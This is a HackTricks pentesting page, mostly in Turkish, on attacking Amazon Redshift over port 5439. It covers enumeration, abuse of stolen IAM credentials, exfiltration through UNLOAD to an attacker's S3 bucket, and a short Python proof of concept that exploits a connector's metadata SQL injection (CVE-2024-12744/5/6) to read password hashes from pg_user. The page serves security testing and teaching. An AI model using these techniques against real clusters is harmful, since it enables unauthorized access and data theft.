5439 - Pentesting Redshift

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bu port Amazon Redshift (AWS yönetilen veri ambarı) tarafından kullanılır. Redshift wire protokolü biraz değiştirilmiş PostgreSQL protokolüdür, bu yüzden çoğu Postgres istemci aracı (psql, psycopg2, JDBC/ODBC) çalışır ama kimlik doğrulama ve TLS gereksinimleri farklıdır.

For more information check:

AWS - Redshift Enum - HackTricks Cloud

Enumeration & Connectivity

  • Default port: 5439/TCP (customizable). Serverless workgroups da varsayılan olarak 5439 kullanır.
  • Public endpoint pattern: <clusterid>.<random>.<region>.redshift.amazonaws.com (public) or .redshift.amazonaws.com.cn (China). Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com.
  • TLS: Redshift requires TLS 1.2+ and perfect-forward-secrecy ciphers. Eski istemciler başarısız olabilir; modern TLS kullanmayı zorlayın:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Parameter group require_ssl düz metnin (plaintext) izinli olup olmadığını kontrol eder. Yeni clusters/workgroups default.redshift-2.0 ile require_ssl=true kullanır, bu yüzden downgrade/mitm daha zor.

Quick enum with psql

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

Hatalar kötü parola ile kullanıcı yokluğu arasında ayrım yapar → potansiyel username enumeration during brute force.

Test edilecek kimlik doğrulama yolları

  • Database password: master kullanıcı için (çoğunlukla awsuser olarak adlandırılır) veya oluşturulmuş DB kullanıcıları için.
  • IAM auth tokens: kısa ömürlü kimlik bilgileri oluşturup libpq/JDBC/ODBC ile sslmode=require ve authMech=IAM veya plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider kullanarak bağlanın. Çalınmış IAM creds/rollerini Redshift için eşdeğer rds-db:connect tarzı izinle kötüye kullanın.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins: JDBC plugin_name SSO için yerel bir webserver başlatabilir; yakalanan loopback callback SAML assertion veya temp creds leak edebilir.

Yaygın yanlış yapılandırmalar (ağ)

  • Küme PubliclyAccessible=true olarak işaretlenmiş ve geniş açık SG (0.0.0.0/0) Postgres-benzeri bir yüzeyi brute force veya SQLi istismarı için açar.
  • Default port 5439 ve varsayılan SG kolay keşif (Shodan/Censys) sağlar. Port değiştirmek küçük bir gizleme önlemidir ama sertleştirme kontrol listelerinde bazen atlanır.
  • No enhanced VPC routing → COPY/UNLOAD, genel Internet üzerinden gider; saldırgan S3 bucket/endpoint kontrol ediyorsa exfil için kötüye kullanılabilir.

Saldırı notları

  • Giriş başarılı olursa, serverless Redshift’te superuser yok; provisioned clusterlarda master kullanıcı geniş yetkilere sahiptir: UDF’ler (Python) oluşturma, Spectrum için external schema, saldırganın S3’ünden COPY ve veriyi exfil etmek için UNLOAD.
  • Küme parametre grubunda max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging kontrol edin – logging kapalıysa gizlenmeye yardımcı olur.
  • Serverless workgroup’lar hâlâ TCP üzerinden erişilebilir; provisioned cluster’larla aynı SQL saldırı yüzeyine sahiptir.
  • Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 ve ODBC 2.1.5.0 getSchemas/getTables/getColumns içinde tırnaklanmamış kullanıcı girdisi ile metadata sorguları oluşturuyor (CVE-2024-12744/5/6). Bir uygulama saldırganların catalog veya pattern argümanlarını kontrol etmesine izin verirse, connector tarafından kullanılan DB kullanıcısı ile çalışan keyfi SQL enjekte edebilirsiniz.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change: Python UDF’leri 30 Haziran 2026’da çalışmayı durduracak; sonrasında sadece Lambda UDF’leri izinli olacak. Offansif etki: eski provisioned cluster’lar hâlâ in-cluster kod yürütme için Python UDF’leri çalıştırır (dosya sistemi/ağ yok). Lambda UDF’leri kodu Lambda’ya taşır; burada IAM rolü Internet/VPC endpoint’lerine erişebilir, SSRF/pivot için fırsat sağlar ancak doğrudan cluster dosya sistemi erişimi olmaz. Python UDF’leri etkin eski cluster’ları taramak hâlâ RCE primitifleri verebilir.

Son güvenlik değişiklikleri (saldırı etkisi)

  • Yeni cluster/snapshot’larda varsayılan olarak genel erişim devre dışı (10 Jan 2025 değişikliği). Eski olanlar hâlâ genel erişime açık olabilir.
  • Encryption at rest + enforced TLS by default sniffing/mitm’i zorlaştırır; geçerli kimlik bilgileri veya VPC yoluna SSRF gerekir.
  • Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoint’leri oluşturulurken en fazla 3 AZ’de yaratılır. Keşif araçları erişilebilir IP’leri bulmak için AZ başına tüm workgroup VPCE DNS isimlerini listelemeli.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin